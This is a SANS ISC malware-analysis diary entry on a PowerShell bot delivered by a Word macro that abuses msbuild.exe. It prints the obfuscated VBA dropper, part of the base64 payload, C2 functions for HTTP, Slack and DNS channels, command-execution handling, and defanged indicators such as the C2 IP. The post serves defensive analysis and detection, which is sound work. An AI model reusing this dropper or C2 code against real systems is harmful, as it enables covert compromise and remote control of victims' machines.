Powershell Bot with Multiple C2 Protocols
I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:
Private Sub CommandButton1_Click() MsgBox "Thank you for your participation!" Call f332dsasad End Sub Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl) f332dsasad End Sub
This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:
Sub f332dsasad() Dim aaa As String On Error Resume Next Dim file adddsaddsasd appDataLocation = Environ("A" & "ppD" & "ata") file = appDataLocation & "\Wind" & "owsManager." & "xml" Set objFSO = CreateObject("Scripting.FileSystemObject") Set oFile = objFSO.CreateTextFile(file, True) oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name" oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory""" oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>" oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy" oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C" oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using" oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S" oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic" oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample : Task, ITask{publ" oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ" oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY" oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c" ... (stuff removed) ... oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe" oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)" oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun" oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm" oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>" oFile.Close waitTill = Now() + TimeValue("00:00:04") While Now() < waitTill DoEvents Wend aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file retVal = asd21we(aaa, 0) End Sub
Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!
Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:
Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long
The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:
$_q60 = @{}; $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA=='; $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc=';
This content is Base64 and SHA256 encrypted. Once decoded, you read this:
PS C:\Users\REM> bpf Name Value ---- ----- sleep 1 chunksleep 1 key {47, 130, 248, 76...} handlers HTTPAES256|hxxp://104[.]239[.]177[.]103:80 shell powershell maxrequestsize 24000
Another interesting array is obfuscated in the same way and discloses interesting features of the bot:
PS C:\Users\REM> doa Payload too long for slack API token channel attachments as_user text https://slack.com/api/chat.postMessage Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko The remote server returned an error: (429) Too Many Requests. thread_ts https://slack.com/api/channels.replies DNSError jobresult No response from handler None POST Authorization HTTPAES256 SLACK HTTPAES256FRONT DNSAES256 register 127.0.0.1 {"implantType":"PowerShell","localIp":" ","hostname":" ","username":" ","handler":"Multi","connectionString":" ","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w indows"} {"id":" heartbeat powershell payload command options upload download posh_in_mem reflected_assembly [bool] [int] interactive Process Exited socks tcp_fwd Not a connect Not a valid destination address Cant resolve destination address Cant connect to host Unknown socks version Tcp Connection Closed Payload type not supported: true exit Bye! configure
Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:
- HTTPAES256
- SLACK
- HTTPAES256FRONT
- DNSAES256
We can find a function for each technique in the bot. Here is the function which sends data to the C2:
function oqe($_hc8, $body) { $_l19s = $_d.handlers.split(","); $_ktk = ""; For ($i=0; $i -lt $_l19s.Length + 1; $i++) { try { $_l19 = $_l19s[$i].split("|"); if($_l19[0] -eq $_h[17]) { # "HTTPAES256" Return v1v $_l19[1] $_hc8 $body; } elseif($_l19[0] -eq $_h[18]) { # "SLACK" $trySlack = $false; Return ny4 $_hc8 $body; } elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT" Return v1v $_l19[1] $_hc8 $body $_l19[2]; } elseif($_l19[0] -eq $_h[20]){ # DNSAES256 Return r8p $_hc8 $body $_l19[1]; } } catch { if($_.Exception.message -eq 404) { throw $_; } else { $_ktk += $_h[21] + $_.Exception.message; } } } Throw $_ktk; }
Here is the function which uses Slack to exchange data with the C2:
function ny4($_hc8, $body){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; $bodyEnc = vnm $_d.key $body; $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; if($_hc8 -ne $_h[12]){ $thread_ts = $_uyx.ts; sleep -Milliseconds 500; $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; if($_uyx2.messages.length -lt 2){ Sleep 4; $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; } if($_uyx2.messages.length -lt 2){ throw $_h[13]; } $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; if($_yl5 -eq "404"){ throw "404"; } return ConvertFrom-Json $_yl5; } }
The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):
Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));
When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:
{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}
Note the list of available commands:
- Command (execute something)
- Upload
- Download
- Configure
- Exit
- Posh in mem
- Reflected assembly
- Interactive
- Socks (proxy)
Once registration is successful:
{ "localIp":"172.16.74.131", "sourceIp":"", "os":"windows", "hostname":"DESKTOP-2C3IQHO", "username":"REM", "handler":"Multi", "connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80", "implantType":"PowerShell", "config":{}, "supportedPayloads": ["command","exit","upload","download","configure", "posh_in_mem","reflected_assembly","cd","interactive","socks" ], "_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ", "createdAt":1596440810315, "lastSeen":1596440810315, "listener":"" }
Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:
} elseif ($_wxs.($_h[32]).type -eq $_h[37]) { if($_wxs.($_h[32]).($_h[34]).pipe_id){ $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; $script = [System.Text.Encoding]::ASCII.GetString($bytes); } else { $script = ""; } $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; $_yl5=""; $_e7i = Invoke-Expression $script | Out-String; ForEach ($line in $($_e7i -split $_h[21])){ $_yl5+=$line.TrimEnd() + $_h[21]; } igl $_wxs._id $_yl5 $false; }
The C2 is located at 104.239.177.103 and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!
I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!
[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments